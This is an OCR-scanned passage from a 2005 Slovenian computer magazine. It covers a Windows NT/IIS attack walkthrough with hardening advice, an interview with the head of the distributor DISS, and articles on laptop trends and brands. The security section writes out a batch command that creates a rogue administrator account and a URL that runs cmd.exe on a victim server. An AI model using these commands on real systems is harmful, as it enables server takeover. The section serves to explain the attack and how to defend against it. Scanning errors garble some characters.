vrstnih imenikov. Vsi virtualni in fizi¢ni ime-
niki, prikazani v nadaljevanju, imajo tovrstne
sposobnosti:
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ni $e nihée zlorabil.

U B o

hekerskimi orodji.

-~ O\

neuspesnih prijav v sistem.

J/W3SVC/1/ROOT/msadc
[W3SVC/1/ROOT/News
[W3SVC/1/ROOT/Mail
[W3SVC/1/ROOT/cgi-bin
[W3SVC/1/ROOT/SCRIPTS
[W3SVC/1/ROOT/IISADMPWD
[W3SVC/1/ROOT/_vti_bin
J/W3SVC/1/ROOT/_vti_bin/_vti_adm
[W3SVC/1/ROOT/_vti_bin/_vti_aut
Zgoraj navedenim virtualnim imenikom
ustrezajo naslednji fizi¢ni imeniki:

msadc c:\program files\common\system\msadc
News c:\InetPub\News

Mail c:\InetPub\Mail

cgi-bin c:\InetPub\wwwroot\cgi-bin

scripts c:\InetPub\scripts

iisadmpwd  c:\WINNT\System32\inetsrv

\iisadmpwd_vti_bin

Preslikovanje ni mogoce, ¢e niso namesc¢ene
razsiritve programa FrontPage.

Na podlagi tovrstnih pooblastil bo streznik
izvrsil vsako izvrSilno datoteko, ki jo bo nasel
na teh mestih nasel. Napadalcu bo edini pro-
blem nacin, kako v te imenike prestaviti zlo-
namerno kodo. V resnici to ni tako tezko, kot
je na prvi pogled videti. Za pogiljanje datotek se
lahko uporabijo diski v skupni rabi, nepravilno
ugnezdeni FTP-imeniki, ki se prekrivajo s prej
opisanimi imeniki, telnet, metoda HTTP PUT
in tudi komponente programa FrontPage za la?-
je urejanje spletnih strani. Napadalcu je treba
zlonamerno kodo izvriiti samo enkrat, nato pa
postane posiljanje datotek madji kaselj tudi ob
names¢enem pozarnem zidu.

Vzemimo, da je napadalcu uspelo odkriti
vhod v sistem in v enega od izvriljivih imeni-
kov prenesti orodje Sechole in ustrezne datote-
ke .dll. Kaj pa zdaj? Ker se napad Sechole izvaja
iz ukazne vrstice, mora napadalec v tarin sy-
stem dostaviti tudi tovrstno okolje (cmd.exe je
v sistemih WINDOWS NT nahaja v imeniku
%windir \ system32).

Ce boste upostevali naslednje nasvete, boste iz svojega okolja Windows NT odstranili 99 % vseh
varnostnih tveganj. Vseeno pa bodite pozorni na preostali odstotek moZnosti, eprav jih dosle;

1. Blokirajte dostop do vrat TCP in UDP 135-139, s &imer boste onemogodili vedin oddaljenih
napadov. Vsekakor vam priporo¢am, da to storite na svojih mejnih usmerjevalnikih in
pozarnih zidovih, poleg tega pa vam priporo¢am tudi redno pregledovanje.

. Ustrezno nastavite klju¢ RestrictAnonymous v registru.

.V User Managerju odstranite skupino Everyone iz mo#nosti Access this computer from network.

. Namestite najnovejse varnostne popravke in premislite o nadgradnji sistema.

. Uporabljajte kompleksna gesla in redno preverjajte njihovo odpornost z opisanimi

. Spremenite ime ra¢unu Administrator in izkljucite ratun Guest.
. Aktivirajte nadziranje sistema in redno pregledujte dnevniske datoteke za primeri

8. Onemogocite vse storitve, ki jih v strezniku nujno ne potrebujete.
9. Redno spremljajte podro¢je informacijske varnosti, $e zlasti pa berite ¢lanke v Mojem mikru.

Kot smo ugotovili, Sechole doda trenutnega
uporabnika v skupino lokalnih ali domenskih
skrbnikov. Ce bi sechole.exe izvriili prek br-
skalnika, bi v skupino skrbnikov dodal uporab-
nika [USR_ime_ratunalnika. TakSen prijem
napadalcu ne bi preved pomagal, saj sistem za
tovrstnega uporabnika samodejno ustvari skrito
geslo. Ali se skupini skrbnikov lahko doda nov
uporabnik z uporabo gesla, ki ga bo izbral na-
padalec? Zadeva postane izvedljiva z ukazom net
localgroup, zato napadalec izdela izvriilno dato-
teko dodaj_uporabnika.bat, ki vsebuje naslednjo
vIstico:

C:\ >net user heker geslo /add && net local-
group administrators heker /add

Ko napadalec v ciljni sistem uspesno dosta-
vi vse elemente (sechole.exe, DLL, cmd.exe
in dodaj_uporabnika.bat), lahko napad izve-
de prek brskalnika tako, da v brskalnik vnese
ime imenika, v katerega je prenesel kodo, in
na koncu doda 3e sechole.exe. Napadalec se bo
stvaritve novega skrbnika lotil tako, da bo br-
skalnik usmeril na:

www.zrtev.com/scripts/cmd.exe?/c%20c: \
inetpub \ scripts \ dodaj_uporabnika.bat

Znak %20 brskalnik razume kot presledek
in ukaz, da v tar¢inem sistemu izvrsi ukaze, ki
presledku sledijo. Cmd/c posreduje ukaze iz da-
toteke dodaj_uporabnika.bat v ukazno vrstico,
ki se po koncanem delu samodejno odstrani
iz pomnilnika. Napadalci ponavadi po uspesni
pridobitvi dostopa na ravni skrbnika ustvarijo
Se en skrbnigki ratun, nakar je usoda spletnega
stre?nika v celoti v njihovih rokah.

Obramba pred opisanim napadom sta vse-
kakor namestitev varnostnih popravkov in
preverjanje stanja imenikov (onemogodite iz-
vrievanje).



RAZUMEVANJE LOKALNEGA
TRGA JE KLJUG DO USPEHA

KONKRETNO
slovenska podjetja - DISS

Podjetje DISS je drugi najvecji distributer racunalniSke opreme v drzavi. V petih letih so prodajo povecali za 14-krat, lani pa
ustvarili za vec kot 9 milijard tolarjev prihodkov. V preteklem mesecu so bili imenovani za najboljSe hitro rastoce podjetje

v osrednji Sloveniji. Podjetje od ustanovitve uspesno vodi direktor Janez Bregar, s katerim smo se pogovarjali

0 izzivih in pasteh te dejavnosti, nacinih vodenja ter trendih na podrocju informacijskih tehnologij.

PiSe: Tomaz Lukman
tomaz.lukman@mojmikro.si

Kaksno je razmerje med distributerji v Sloveniji? So se ta
razmerja z vstopom v EU kakorkoli spremenila in ali ste v
DISS-u ob¢utili Se kaksne druge spremembe?

Nasa distribucija ni le to, kar v nasi panogi
pomeni veleprodajo, pac pa je tudi usmeritev v
prodajo blagovnih znamk in njihovih izdelkov,
ki se prodajajo taksni, kot so. Pri nas namre¢
ralunalnikov ne sestavljamo, predelujemo ali
spreminjamo. Naa dodana vrednost je v tem,
da znamo kupiti ra¢unalnike, ki ustrezajo nase-
mu trgu, da imamo ustrezno zalogo in da je ves
Cas dosegljiva nagim kupcem. Razmerja med
distributerji raunalniske opreme v Sloveniji
so ze dalj ¢asa enaka. Uspesen distributer, kar
mislim, da smo tako mi kot druga podjetja, ki
se s tem ukvarjajo, je moral biti v Evropi Ze leta
2001. Za vsa podjetja so bili pogoji poslovanja
z EU-jem transparentni, marZe so bile doloce-
ne, zato smo se morali nanj pripraviti e prej in
uvesti na¢in dela, kakrSen velja v Evropi. Od
lanskega maja, ko smo se polnopravno pridru-
%ili, se torej ni veliko spremenilo.

Kako si pridobi§ zaupanje racunalniskih korporacij in po-

stanes njihov najvecji distributer na slovenskem trgu?

Potrebujes jasno usmeritev in poslovni na-
&rt, ki je dovolj pregleden, da ga lahko pred-
stavi§ korporaciji. Pomembno je, da razumes
razmere na trgu. Klju¢nega pomena je to, da
ves o trgu ved kot sama korporacija. Ko uvidi-
jo, da poznag svoj trg, postane§ zanje zanimiv,
ker sami tega ne zmorejo oziroma to niti ni
njihov osnovni interes. Razumevanje njiho-
vih interesov pa je osnovni pogoj, da te izbe-
rejo za najvecdjega distributerja. Vedeti moras,
kaksni so njihovi cilji v Evropi in zunaj nje,
na primerljivo razvitih trgih. Raziskati je tre-
ba, katera podjetja in katere vrste izdelkov so
njihov resni¢ni interes. Ce zna nato distributer
poiskati simbiozo med potrebami trga in glo-
balnim interesom podjetja, ki je v¢asih razli-
&en od lokalnega, potem postane zanje veliko
vreden. Ali bolje re¢eno, vreden dovolj, da po-
stane njihov klju¢ni distributer. Zelo pomemb-
no je poznati potrebe partnerjev, $e posebej pa
potrebe njihovih strank. Klju¢ do uspeha je
natan&no opredeliti segment trga, kjer je na$
partner zares mocan. Gre za tako imenovano
kombinacijo »win-win«.

Kaksni so vasi kriteriji pri izbiri blagovnih znamk, ki jih
nameravate distribuirati? Trenutno delate z najvecjimi na
svojih podrocjih. Nacrtujete morda Se katere?

Seveda si Zelimo distribuirati nove znamke,
vendar je to predvsem odvisno od lokalnih pogo-
jev. V Evropi obstajajo standardi, da mora§ imeti
dologeno koli¢ino prometa na zaposlenega, da je
to distribucijsko sploh mogoce. Ce temu pogoju
ni zado$¢eno, tega praviloma ne delamo. Klju¢no
pri nasi izbiri dolo¢ene blagovne znamke je to,
da bodoti partner razume naso dodano vrednost.
Enkratni posli, naj so $e tako veliki, niso v naSem
interesu. Za dologen izdelek mora zanimanje po-
kazati vec kot sto partnerjev, da mi v taksni vrsti
distribucije vidimo dodano vrednost. To seveda
v precejsnji meri omejuje tevilo moznih distri-
bucij. Tak§nemu partnerju svetujemo, da poisce
drugaten model prodaje v Sloveniiji. Ce ni distri-
bucijski, za nas absolutno ni primeren.

Kako ocenjujete slovenski racunalniSki trg v primerjavi

z obdobjem pred nekaj leti, ko je dozivljal prvi pravi raz-

cvet?

Danagnji trg je mnogo bolj urejen. Veasih
je vsak delal vse, danes pa imamo zelo speci-

alizirana podjetja, ki razvijajo reSitve. Tak$na
ureditev je tipi¢na za razvitejse trge. Vendar pa
se kupci za zdaj Se premalo zavedajo, da morajo
poiskati podjetje, ki ustreza resitvi, ki jo potre-
bujejo. Kupec namre¢ vedno is¢e neko resitev,
pa Cetudi gre samo za pisarnisko poslovanje s
pomocjo prenosnika. Vseeno gre za resitev, ki jo
mora nekdo namestiti in vzdrzevati. Nekaterim
kupcem je pomembno, da je servis v njihovem
kraju, spet drugim, ki veliko potujejo, da velja
mednarodna garancija. Na tak§na vpraSanja si
je dobro odgovoriti, preden se odlo¢amo o na-
kupu, morda $e preden obis¢emo prvo trgovino.
Vse resitve so danes Se premalo znane, zato se je
dobro posvetovati s kom, ki nam bo znal poma-
gati. Morda lahko pravilen odgovor najdemo
kar v spletu, kjer je na voljo precej ponudb.

Kaksna je prihodnost podijetij, ki se ukvarjajo z IKT-jem?

Vemo, da so v ospredju telekomunikacije, e pred njimi pa

programiranje in svetovanje.

Nesporno je dejstvo, da se bo ta panoga v
Sloveniji §¢ mo¢no razvila. To je vpraSanje

uspesnosti posameznega podjetja. Dolo&eni iz-
delki se v Sloveniji ne prodajajo, ker ni pov-
prasevanja, drugi pa zato, ker ni reSitev, ki bi
potrebovale taksne izdelke. V Sloveniji tudi ni
doloc¢enih storitvenih izdelkov, ki so nujni za
razvoj podjetniStva v Sloveniji. Ne predstav-
ljam si uspe$nega podjetja, kjer informacijska
in telekomunikacijska tehnologija ne dobita
vedje vloge. To ni odvisno od posameznikov,
pa¢ pa je skupna vizija prihodnosti. Ce samo
pogledamo, kaj se trenutno dogaja v telekomu-
nikacijah z dostopom do interneta, je jasno, da
to pomeni velik napredek za domace uporab-
nike. S tem se bodo razvile paketne storitve,
vezane na internet. Nekdo bo moral izvesti
priklju¢ek, zanj skrbeti in ga vzdr¥evati. Morda
celo na daljavo. Tak$ne storitve so za panogo
prihodnost. Ce bo vegja uporaba ratunalni-
kov, bo tudi povpraSevanje vedje.

Nameravate na podrocju telekomunikacij Se Siriti svojo

dejavnost?

Zaenkrat zagotavljamo podporo za nas stra-
teSko najpomembnejSemu trgu malih in sred-
nje velikih podjetij. To je trg, ki je bil vrsto let
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slovenska podjetja - DISS

zapostavljen, tako doma kot v tujini. Danes je
v tujini najvedje gonilo novih zgodb o uspehu.
Distribuiramo torej znamke, ki ustrezajo potre-
bam tega trga. Seveda si Zelimo na telekomu-
nikacijskem podro&ju dose&i ve¢, vendar je ta
trg %e v precejdnji meri razdeljen. Pri tem imajo
veliko vlogo pomembni igralci na trgu, kot je
Telekom, ki Ze vrsto let prisegajo na znamke, ki
so prisotne v Sloveniji.

KolikSen je delez prenosnikov v vaSem prodajnem pro-

gramu in kaksni so trendi za prihodnje leto?

Dele? prenosnikov je vse vegji. V zadnjem
Casu prodamo enako Stevilo prenosnikov ka-
kor namiznih ra¢unalnikov. Zaradi visje cene
prenosnikov pa so prodajne stevilke vsaj dva-
krat vi§je. OpaZzamo, da se ti trendi nadaljuje-
jo. Stevilo prenosnikov se e povetuje, po dru-
gi strani pa namizni racunalniki postajajo vse
bolj namenski. Specializacija ratunalnikov je
Cedalje izrazitejsa. Dejstvo je, da imajo namizni
racunalniki $e vrsto prednosti pred prenosniki.
Slednji so bolj namenjeni kombinirani poslov-
no/domaci uporabi, Studentom in ljudem, ki
veliko potujejo. V pisarnah Se ne bodo povsem
nadomestili namiznih rac¢unalnikov.

Ste na dobri poti, da postanete »zlata gazela 2005<. Kaj
bi vam ta naziv lahko prinesel? Po nekaterih podatkih so
raziskave v ZDA pokazale, da ima kar Getrtina hitro rasto-
¢ih podjetij resne tezave leto dni po objavi uspesnosti ...

Kako komentirate to trditev?

Zgodbe o hitro rasto¢ih podjetjih oziroma
gazelah so nastale med leti 2000 in 2004. Da-
nes smo prakti¢no v zadnjem cetrtletju leta
2005 in z veseljem lahko povem, da $e vedno
rastemo. To priznanje dokazuje, da smo delali
dobro in da so tudi drugi to opazili. Vsaka rast
pa seveda prinese dodatne izzive, veasih tudi
teave. Ne dvomim, da bodo doletele tudi nas,
saj se jim tudi doslej nismo mogli izogniti. Te-
Yave smo imeli tako s pridobivanjem sredstev
za nadaljnjo rast kot s kupci, ki so v tem &asu

propadli in nam prinesli izgubo. Na teZave mo-
ramo biti ves ¢as pripravljeni. Ce se naverem
na pridobljeni naziv, lahko re¢em, da mora ga-
zela v&asih tudi spremeniti smer svojega teka.
Moja vloga v DISS-u je, da se teZavam izogne-
mo pravocasno.

Poslujete z vec¢ kot 300 partnerji. Kako vam uspe zado-
voljiti njihove potrebe? V éem je vas nacin dela drugacen
od konkurence? Kako se odzivate na njihovo morebitno
nezadovoljstvo?

V nagih odnosih do partnerjev Zelimo biti
zelo odprti in jim hkrati povedati, kaksne so
naSe zmoznosti. Se pravi, da jih ne prepricuje-
mo, da lahko pric¢akujejo od nas veg, kot jim
lahko ponudimo. To se mi zdi zelo pomemb-
no, kajti v Sloveniji je Se prisoten spomin na
pretekle case, ko so bile v ospredju predvsem
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obljube, &e§ da ni problemov. Problemov je
veliko in reSujemo jih v skladu z naSo stra-
tegijo posvecanja pozornosti podrobnostim.
Ce stremimo k temu, da je kupec zadovoljen,
moramo v vsaki podrobnosti, od ponudbe na-
prej, skrbeti, da bo temu res tako. Seveda se
zgodi, da nam kdaj kupca ne uspe zadovoljiti.
Pomembno je, da se tega zavedamo in da vsi
skupaj pois¢emo nacin, kako bomo tega kupca
naslednji¢ zadovoljili in ne izgubili. Skozi leta
postane nabor partnerjev pomemben v smislu
priznanja za naSe delo, zato si ne Zelimo nobe-
nega izgubiti. Nase glavno vodilo je, da morajo
zaposleni v vsakem trenutku vedeti, kaj morajo
narediti, da bodo nasi kupci zadovoljni. Znati
moramo biti nezadovoljni s svojim delom, &e z
njim niso zadovoljni partnerji.

V DISS-u je na zacetku delalo pet ljudi, trenutno jih za-
poslujete prek 40. Kaksna je vasa politika zaposlovanja?
Kako zagotavljate rast zaposlenih?

Rast podjetja je povezana z rastjo njegovih
zaposlenih. S svojimi delavci imam redne
pogovore, ki so klju¢ni pri razumevanju na-
Sega dela. Zaposleni morajo razumeti, da je
od njih veliko odvisno. Tistim, ki so pri nas
e dlje Casa, nekateri Ze od zadetka pred sed-
mimi leti, ponujamo redna izobraZevanja. Tu
gre tako za specialisti¢ne tecaje v zvezi s po-
slovanjem v na8i panogi kot tudi za splosno
izobrazevanje. Stevilni zaposleni so ob delu
pridobili srednjesolsko ali univerzitetno izob-
razbo. Zaradi tak$nega odnosa ljudje bolj ob-
&utijo pripadnost podjetju in razumejo svojo
vlogo v njem. Seveda mora biti zato Solanje
dovolj kakovostno in nanj ne gledamo kot na
stroSek, pac pa na vlozek tako v posameznika
kot v podjetje.

Kaksen je vpliv zaposlenih v podjetju? So zadovoljni z
delovnimi razmerami oziroma kako reSujete morebitno
nezadovoljstvo?

V osnovi poskuSamo zagotoviti najboljse
tehni¢ne razmere za delo. Racunalnik je pri
nas osnovno delovno orodje, zato skrbimo, da
so dovolj sodobni za nemoten potek dela. Za
primere okvar imamo ves &as na voljo rezerv-
no opremo. Ker je za naSe poslovanje internet
klju¢nega pomena, imamo tri redundan¢ne
povezave — prek 90 odstotkov dokumentov
s partnerji izmenjamo prek interneta. Vsa
tehni¢na orodja morajo biti urejena, da delo
poteka normalno. Osebni dohodki so pri nas
nadpovpreéni. V vecini primerov so vezani na
osebne plane, v katere so vklju¢ene dodatne
stimulacije za doseganje dobrih rezultatov. Sti-
mulirani so tudi tisti, ki niso prodajalci in ne

vplivajo neposredno na rezultate poslovanja
podjetja.

Podijetje DISS vodite ze od zacetka. Kaksen nacin vodenja

vam najbolj ustreza?

Imamo aktiven nadzorni svet, kar pome-
ni, da ga sklicujemo vsaj enkrat na Cetrtletje.
Na njem obravnavamo rezultate in prihodnje
usmeritve podjetja. Enkrat na leto te usmerit-
ve zelo podrobno obravnavamo in izlus¢imo tri
klju¢na podrogja, na katera se bomo osredo-
tocili v naslednjem letu. Imamo tudi kolegij,
kot dovolj neformalen organ, kjer so navzo&i
vsi vodje oddelkov. Na njem vsak mesec pre-
gledamo, kaj je dobro in kaj ne, pretehtamo
izpeljavo vsakega mesec¢nega plana. Ne naza-
dnje pa imamo $e vrsto neformalnih sestan-
kov, na katerih odpravljamo trenutne teZave.
Sem pac take vrste vodja, ki Zeli biti obves¢en
o vsem, dajem tudi napotke, vendar Zelim, da
se na operativni ravni zaposleni odlo¢ajo sami.
Sc¢asoma je to postal sistem dela, ki ne obreme-
njuje preved niti mene niti zaposlenih. Nujno
pa je, da vsi vemo veliko o vsakodnevnem po-
slu. DISS namret vsak dan dobavi za 30 do 50
milijonov tolarjev blaga. Vedeti moramo, ali
so kupci z nami zadovoljni ali ne. Glede na to
moramo ustrezno reagirati. Na nezadovoljstvo
z odpravljanjem napak, na zadovoljstvo pa s
&im ved ponovitvami podobnega posla.

Kako osebno sledite razvoju racunalniSke tehnologije?

Razvoju sledim predvsem na podrodju resi-
tev. Ceprav nismo prodajalci reitev, pa& pa
samo orodij za njihovo izvajanje, se mi zdi po-
membno razumeti, c¢emu je doloen izdelek na-
menjen. Potem je samo $e vprasanje, ali pod-
pira dolo¢eno resitev ali ne. Slediti tehnologiji
na tej ravni ni zahtevno. Mislim, da bi moral
direktor kateregakoli podjetja vedeti, s kaksno
opremo se lahko izvajajo njihove resitve. To je
pravzaprav zelo dober pogajalski argument pri
kupovanju ratunalniske opreme ali resitev. In
takih direktorjev je v Sloveniji bistveno pre-
malo. Obstaja rek, ki se ga premalo zavedamo:
Informatika je preve pomembna, da bi jo pre-
pustali informatikom. V svetu obstaja veliko
podjetij, ki so uspela zaradi informatike, ceprav
je ne prodajajo. Na primer Google ali Yahoo.
Tudi v Sloveniji so tak$na podjetja, na primer
slovenske banke, ki so na tem podro&ju zelo
dobro organizirane. Zavedanje o pomembnosti
informatike je klju¢nega pomena.
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PODROBNEJE O ....
prenosni racunalniki

PiSe: Zdenko Frangez
zdenko.frangez@mojmikro.si

azlogov je veliko. Prenosniki so manj-

§i, zasedejo manj prostora doma, kljub

temu pa zado$¢ajo za normalno delo,

razen Ce se ukvarjate z zares zahtevnimi
opravili. So prenosni, vedno z nami in omogo-
&ajo opraviti kak$no opravilo tudi doma, brez
potrebe po prenasanju podatkov v pisarno na
posebnem mediju. So &edalje cenejsi, Ceprav
ne tako poceni kot primerljivi namizni racu-
nalniki. So moderni in se lahko z njimi pohva-
limo.

Slisi se hecno, ampak vsi ti in $e ved razlo-
gov je, zakaj se uporabniki odlogajo za nakup
prenosnika. Dejstvo je, da gre za sila uporabne
napravice, ki omogo¢ajo naSemu delu in po-
datkom potrebno mobilnost, ki je zadnje Case
tako cenjena. Pa poglejmo grobe podatke, ali
je rast prodaje p

GENE PADAJO

Med ved&jimi krivci za ve&jo rast prodaje pre-
nosnih racunalnikov je prav gotovo cena, ki
se je v zadnjem letu posteno zni%ala. To spet
izhaja iz ve&jega povpraSevanja, vedjih izdela-
nih serijah in vsega, kar gre zraven. Tudi nase
dojemanje prenosnikov se je spremenilo in se
Se spreminja. Iz naprave za direktorje je pre-
nosnik postal obi¢ajen raunalnik. Kaj pa je
direktorje brigalo, koliko stane prenosnik. Saj
ga je placalo podjetje in z napravo so se lahko
pohvalili. Precej ¢asa je bil prenosnik tudi sta-
tusni simbol. Prenosniki za $irSi trg pa ne mo-
rejo biti ve drage in redke naprave.

Seveda je padla tudi cena namiznih racu-
nalnikov, a v glavnem so to $e vedno sila ne-
rodne naprave, ki zahtevajo posebno mizico in
prostor v stanovanju. Na tej mizici navadno
ustvarimo pravcati ustvarjalni kaos (svinjarijo,
bi rekla moja ¥ena) in kar naenkrat bi vso za-
devo najraje skrili pred pogledi obiskovalcev
naSega domovanja. Saj prenosnik tudi lahko
stoji na posebni mizici, a se to redkeje dogaja,
in e ga uporabljamo na klubski mizici, bomo s
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PRENOSNO

JE ZAKON

Zadnja leta je mogoCe opaziti rast prodaje prenosnih racunalnikov na racun namiznih. Zakaj tako?

prenosnikom pospravili tudi vse drugo in nase
domovanje bo kot iz Zkatlice.

ZVITOST TRZNIKOV

K sedanjemu stanju so veliko pripomogli
tudi filozofija in izra¢uni tr¥nikov najvecjih

proizvajalcev prenosnikov. Pred priblizno do-
brima dvema letoma mi je eden vodilnih tr¥ni-
kov enega najvecjih proizvajalcev prenosnikov
razlagal, da mu je uspelo prepricati stranke v
nakup nekaj sto prenosnikov za vse zaposlene
z naslednjo filozofijo: Zaposleni ne Zelijo ve&
preZiveti vsega dneva v sluzbi, temvet so raje z
dru¥ino. Ko jim ostane delo, ga pa& s prenos-
nikom odnesejo domov. Popoldan je rezervi-
ran za druZino, zveler pa opravijo, Cesar niso
zmogli v sluzbi. In tako iz dneva v dan. Pa $e
sre¢ni so, ker jim je podjetje »podarilo« pre-
nosnik. Zdaj ni treba kupiti namiznega modela
za dom. In &eprav je pregovor, da se podarjene-
mu konju ne gleda v zobe, sila koristen, tukaj
pogrne na celi ¢rti. Zaposleni delajo doma, ur
opravljenega dela pa si ne morejo pisati. Nié&
ve¢ nadur, ni¢ vel stroskov pisarn z oblju-
denostjo popoldne in zveler. In so izratunali,
da se podjetju nakup splada v manj kot Sestih
mesecih. In &e ratunamo, da je uporabna doba
prenosnika vsaj dve leti, potem je podjetje z
vsakim kupljenim prenosnikom prihranilo de-
narcev za naslednje tri. To pa ni malo denarija,
posebe;j v velikih podjetjih. Ali lahko tako po-
litiko podjetja gledamo kot nateg zaposlenih?
Seveda, pri Cemer se zaposleni $e sre¢no refijo
kot pe&eni macki.

Saj ne pravim, da se moramo temu upreti.
Vsak ima svoje koristi, tako zaposleni kot tudi
podjetje.

Kakor koli, prenosniki so z nami in vse raje
jih imamo. Iz razli¢nih razlogov. Ker so lepi,
koristni in v sedanjem &asu brez te¥av nado-
mestijo namizni rac¢unalnik.

TRG PRENOSNIKOV

Ce velja trg racunalniske opreme za sila di-
nami¢nen, potem je na podro&ju prenosnih ra-
Cunalnikov pravcata dirka. Vsi se na vse kriplje
trudijo ponuditi najboljse, najhitrejse, najbolj
avtonomne in kaj $e vem kak¥ne prenosnike.
Medtem ko kupujete prenosni ra¢unalnik in ga
placujete, skozi zadnja vrata trgovine %e prina-
$ajo nove modele. Skoraj tako. In &e &akamo
na najugodnej$i model, nakupa ne opravimo
nikoli. Prednost hitrega razvoja in velikega



Stevila modelov in ponudnikov je vsekakor
dejstvo, da se za vsakogar najde primeren in
njemu viecen model. Poglejmo, v kaksnih ob-
likah in namembnostih najdemo prenosnike.

Prenosniki za pisarno

V sluzbi potrebujemo zmogljiv ratunalnik,
e je prenosen, e toliko bolje. Tako navadno
v teh prenosnikih najdemo procesorje Intel
Pentium 4 ali AMD, najveckrat niti ne mo-
delov za prenosnike. Zmogljivost je odvisna od
dela, ki ga opravljajo zaposleni. Za pisarniske
programe ni potrebna prav huda zmogljivost.
LCD-zaslon je klasigen, ker je tak najprimer-
nejdi, in navadno meri 15 palcev. Niso naj-
manjdi in najla¥ji, ker to preprosto ni potreb-
no. Celo poudarek je na robustni izdelavi, saj
podjetje ne Zeli kupovati novih modelov pre-
pogosto. Vzdriljivi morajo torej biti. Ce teh-
tajo §tiri kilograme, to niti ni tako nadleZno.
Avtonomija je navadno skromna, saj je dovolj,
e prenosnik vzdr?i brez napajanja dobro uro.
Tako premostimo morebitni izpad elektri¢ne
energije ali prenos v drugo pisarno.

Prenosniki za dom

Zahteve so navadno podobne rabi v pisarni,
le da doma Zelimo tudi nekaj ve¢ multimedij-
skih zmogljivosti. Tako ni redkost, da za dom
izberemo prenosnik z zaslonom v razmerju 16 :
10, saj je sila primeren za ogled filmov. Zmog-
ljivost je odvisna od tega, ali nasi mal¢ki igrajo

ratunalniske igre in ali Yelimo s pomod&jo pre-
nosnika obdelati domace video posnetke. Za
domadi prenosnik Zelimo &im veé prikljuckov
za vse mogoc¢e naprave in opravila. Tudi smo
%e nekoliko obcutljivejsi na videz prenosnika,
saj bo vendar krasil na§ dom. Seveda ne pose-
gamo po najdra¥jih modelih, ker tega druZinski
proratun navadno ne prenese ali pa nas vsaj
Yena grdo gleda, ¢e prevel zapravimo. Ali na-
sprotno. Avtonomije navadno ne potrebujemo
pretirane, razen tisti, ki ¥elijo prenosnik upo-
rabljati tudi na dopustu, seveda za igranje igric
in ogled filmov. Ra¢unalniki pa¢ zasvojijo upo-
rabnike, prenosniki pa e toliko bolj.
Dejansko povprecen uporabnik doma ne
potrebuje veliko. Vetidel doma brskamo po
svetovnem spletu in si dopisujemo prek elek-
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sedanjem Casu brez tezav
nadomestijo namizni racunalnik.
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cenejsi.

PODROBNEJE O ...

prenosni racunalniki

tronske poste. Za ta in podobna opravila pa je
dovolj %e najcenejsi prenosnik, ki ni dra%ji od
nekoliko boljsega namiznega modela.

»Prenosni prenosniki«

Ceprav se hecno sligi, je to posebna katego-
rija. Namenjena je uporabnikom, ki dejansko
delajo tudi na poti. Ti ne Zelijo najvedjega za-
slona, tudi ne najzmogljivejiega procesorija,
temve¢ najboljSe razmerje med zmogljivostjo
in prenosnostjo. Tako so ti prenosniki la%i,
manjsi in se pohvalijo predvsem z avtonomijo.
Tehnologija Centrino, torej, in zmogljive ba-
terije. Na poti navadno ne potrebujemo opti&-
nih enot, tako so ti prenosniki »oskubljeni« in
Se la%ji. Ce tehtajo do dobrega kilograma so ul-
traprenosni, veliko preko dveh kilogramov pa

& g datasom |
gr2 Sit |
0% |

oy ale e 1
e TR T
UL GET v B33 3T

130 %

1o ST
s LY ST

MOJ MIKRO 10 OKTOBER 2005 45




PODROBNEJE O ....
prenosni racunalniki

%e neprijetni za delo na poti.

In kaj sploh po¢nejo uporabniki s prenosni-
kom na poti? Hja, &e se v sluzbo vozite z avto-
busom ali vlakom, lahko med potjo opravite
kar veliko dela. Potem so tukaj vsi mogo&i
potujodi zastopniki, pa zavarovalni agentje, ki
pisarno prenasajo s sabo, ker navadno druge
sploh nimajo in lahko opravijo vse potrebno
pri vas doma, ko se odlo¢ate za to ali ono sto-
ritev. In uporabnikov potujo¢ih pisarn je vse
vel.

Posebna kategorija takinih prenosnikov so
tabli¢ni ra¢unalniki. Ti so Sele prenosni. Pri
njih je vse naravnano na delo na poti ali celo
med hojo. Nekoliko vegji premorejo tipkovni-
co. Tako so lahko prenosniki, &e jih na pose-
ben nadin zapremo, pa ostane viden le na do-
tik ob¢utljiv ali podoben zaslon. Seveda lahko
potem s posebnim pisalom piSemo po zaslonu
kot v vsako belefnico. Tako bomo natisnili
rokopise, uporabili med pisanjem prepoznavo
pisave ali navidezno tipkovnico. Ti modeli so
Se kljub vsemu nekoliko nerodni in te¥ki, a na-
slednji korak je tabli¢ni ratunalnik v pravem
pomenu besede. Tak tudi tipkovnice nima in
lahko tehta priblizno toliko kot nekoliko ve&ji
rokovnik. 5

In kdo to potrebuje? Ze kdo, bi bil najpre-
prostejSi odgovor. Skladis¢niki, pa zdravniki
med vizito, $tudentje in dijaki med predava-
njem, profesorji, ki si tako pripravijo zapiske in
jih imajo vedno pri roki. Pa nadzorniki gradenj
in vsi, ki delajo na terenu in sicer potrebujejo
goro papirnih projektov ali naértov. Ali pac
vsi, ki tekajo po svetu z rokovniki ali notesi. Se
pa zadeva bolj kot ne nekako ne prime. Razlo-
ga sta verjetno nekoliko viSja cena in vajenost
na tipkovnico. Morda tudi ¢edalje zmogljivejsi
dlanéniki, ki jih po uporabi vtaknemo v %ep in
vecini uporabnikov, ki bi ¥eleli ali morajo de-
lati takole stoje, popolnoma zado§&ajo. Zadeva
pa se lahko $e obrne in prakti¢no nemogoce
je napovedati, ali bodo tabli¢ni racunalniki
osvojili trg ali pa neslavno propadli. Sam si ne
upam poteka dogodkov napovedati niti za leto
naprej, kaj Sele za ve& Casa.

Prenosniki, tak$ni in druga¢ni, so med nami
in tukaj bodo tudi ostali. Postali bodo 3e bolj
dostopni in razSirjeni. Kaksni pa bodo ¢ez leto,
bomo videli takrat.
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znane in neznane znamke

Pise: Zdenko F:"rli'u'mei
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eveda je razlika. HP recimo proizvaja

prenosnike ¥e dolgo in prav veliko de-

narja namenja tako razvoju kot tudi pre-

izkuganju komponent, ki bodo delovale
brezhibno v vseh razmerah. Ponujajo tudi ne-
koliko boljse servisne storitve in pa& vsega, kar
je potrebno za tr¥fenje prenosnikov.

OGRODNI IN SESTAVLJENI PRENOSNIKI

Po drugi strani pa denimo Comtron ne pro-
daja prenosnikov, ki bi jih sam izdelal iz kopice
komponent in osnovnih surovin. Po svetu je
veliko podjetij, ki so znana tudi po svojih pre-
nosnikih, ponujajo pa tudi ogrodne (barebone)
prenosnike. Torej taksne, ki imajo ohisje in vse,
kar je nekak3na osnova prenosnika. Uporabnik
ali podjetje se odlo¢i, kako bo napolnil drobov-
je. Navadno je treba le e vdelati procesor, trdi
disk, pomnilnik, opti¢no enoto, izbrati baterijo
in morda grafi¢no kartico. Tako je mogo&e na
